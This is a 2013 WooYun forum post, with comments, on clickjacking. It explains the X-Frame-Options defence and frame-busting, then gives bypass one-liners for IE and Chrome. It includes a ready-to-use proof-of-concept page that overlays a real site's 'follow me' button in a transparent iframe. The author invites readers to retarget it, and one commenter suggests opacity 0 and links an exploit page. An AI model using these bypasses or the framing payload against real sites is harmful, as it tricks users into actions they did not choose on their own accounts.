猥琐流之”关注我吧”

  • A+
所属分类:WooYun-Zone

主要说一下问世多年却一直没被重视的”点击劫持”.

应用场景:

1.社区的关注功能,在WEB2.0时代”关注我”已经成为一个社区必备功能,被关注的愈多在社区的影响力往往也愈大.

点击劫持科普:

简单来说就是在一个网页内再嵌入一个要攻击的网站,把这个嵌入的网站设置为透明,然后再上面覆盖一层东西,让你点到他想要你点到的位置,而实际上你点击的却是被嵌入的网站,这样就完成了一次点击劫持攻击.

防嵌入?怎么破?

因为”点击劫持”已经问世很多年,所以主流的浏览器基本上都提供的防御方案.

1.X-Frame-Options http响应头

三个选项:

(1)DENY : 不允许被任何网站嵌入.

(2)SAMEORIGIN : 允许被同源的网站嵌入.

(3)ALLOW-FROM uri : uri为一个指定的地址,仅允许这个uri嵌入.

对于用这个办法防御的网站来说没有什么好办法,但ie低版本并不支持.

2.FrameBusting

简单来说就是用JS来检测是否被嵌入.

经典的framebuting代码:

if (top.location !== self.location) top.location=self.location;

对于这种framebuting还是可以hacking下的:

1.IE下的突破方法:

if(self.ActiveXObject)var location={};

2.Chrome下的突破方法,不过偶尔会失效,因为是利用时间竞争来突破的:

if(self.chrome)setInterval('location="javascript:void(0)"');//Chrome

乌云正好是用的这种经典framebusting,所以这里用乌云做个范例.

乌云”关注我”功能的POC:

<script>

var xx=200;

var yy=200;

window.onload=function (e){

  var iframe = document.getElementById('xxx');

  var e = e||window.event;

  

  var x=e.clientX+document.body.scrollLeft+document.documentElement.scrollLeft;

  var y=e.clientY+document.body.scrollTop+document.documentElement.scrollTop;

  iframe.style.left=a.offsetLeft-xx;

  iframe.style.top=a.offsetTop-yy;

}

</script>

<script>

if(self.ActiveXObject)var location={};//IE

if(self.chrome)setInterval('location="javascript:void(0)"');//Chrome

</script>

<iframe style="position:absolute;opacity: 0.5;filter:alpha(opacity=50);z-index:1;" id=xxx src="http://www.wooyun.org/whitehats/Sogili" WIDTH=60% height=500></iframe>

<br><br></br><br></br><br></br><center><button id=a>点击</button></center>

自己用的话调下iframe的地址,宽高和xx,yy这个两个变量的值就好.

  1. 1#

    shine | 2013-01-18 11:59

    哥已关注!

  2. 2#

    xsser | 2013-01-18 12:29

    微博出过哦

  3. 3#

    Sogili (.) 长短短 (.) | 2013-01-18 12:38

    @xsser 乌云首页用的那个新浪微博关注接口接口好像可以做点击劫持

  4. 4#

    Clar | 2013-01-18 13:05

    已关注

  5. 5#

    小胖胖要减肥 | 2013-01-18 13:08

    @Sogili 怎么搞,代码都没机会插入的啊,而且现在大家对于<>基本都会过滤

  6. 6#

    xsser | 2013-01-18 14:01

    @小胖胖要减肥 没说要插,仔细读文章

  7. 7#

    小胖胖要减肥 | 2013-01-18 14:16

    @xsser 对那个怎么嵌入不是很懂,以前知道这种就是设置透明的一些form,导致用户点击的时候出发这些操作,就是不知道是怎么嵌入的,自己用的话调下iframe的地址这个调用的怎么弄,不插入的话

  8. 8#

    小胖胖要减肥 | 2013-01-18 15:45

    @Sogili  给我普及下嘛

  9. 9#

    VIP (Fatal error: Call to undefined function getwb() in /data1/www/htdocs/106/wzone/1/index.php on line 10|@齐迹@小胖子nauscript|昨晚做梦梦见了一个ecshop注射0day,醒来后忘记在哪了。|预留广告位) | 2013-01-18 16:10

    实际应用时应该把opacity调为0,exp:http://email.smtp.yupage.com/funny.htm

  10. 10#

    小胖胖要减肥 | 2013-01-18 16:22

    @Sogili @xsser 大致懂了,没有搞在flash游戏里有用哈,那样交互多很多

  11. 11#

    猪猪侠 | 2013-01-18 22:04

    哎,天朝和美帝 相差了n个时代啊!! x系列的头都不知道啥时候可以部署上!

  12. 12#

    Sogili (.) 长短短 (.) | 2013-01-18 22:22

    @猪猪侠 让攻击变的简单是个推动的办法 猥琐流之”关注我吧”

  13. 13#

    猪猪侠 | 2013-01-18 23:43

    我觉得很难推,比较传统的漏洞还太多,很多跨子域、httponly啥的 都没有迹象部署解决

  14. 14#

    Sogili (.) 长短短 (.) | 2013-01-18 23:48

    @猪猪侠 其实网站安全检测服务完全可以把x系列头和httponly之类的作为检测项来提醒站长.

  15. 15#

    gniq | 2013-02-19 10:35

    @小胖胖要减肥 我还不是很懂,既然是嵌入,那肯定要能修改当前网页并能被他人点击才行啊

  16. 16#

    CHForce (带马师) | 2013-02-19 10:52

    关注一下,同样不解的是插入

  17. 17#

    小胖胖要减肥 | 2013-02-19 11:01

    @gniq 最简单的 我搞个网页给你看,上面有一条新闻,你点击,弹出新闻页面,但这个时候其实后面隐藏了另外一个按钮,比如关注wooyun,透明了而已,那么你在点击新闻的同时也就执行了另外一个操作,如果你的浏览器恰好有cookies就会直接提交到新浪关注wooyun了,大致这么个意思,如果搞flash游戏里就会有更多前后交互,再利用cookies相关跨域漏洞就会有不错的效果

  18. 18#

    gniq | 2013-02-19 11:40

    @小胖胖要减肥 等于说这个人是要具备修改这个网页的能力,对吧

  19. 19#

    CHForce (带马师) | 2013-02-19 15:26

    @小胖胖要减肥 意思是除非你具有网页编辑权力,至少能通过后台、通过服务器、通过xss等手段 才能实现

  20. 20#

    小胖胖要减肥 | 2013-02-19 15:35

    @CHForce 不是啊 你自己搞个网站不就好了 然后把iframe弄成透明的或弄在flash游戏里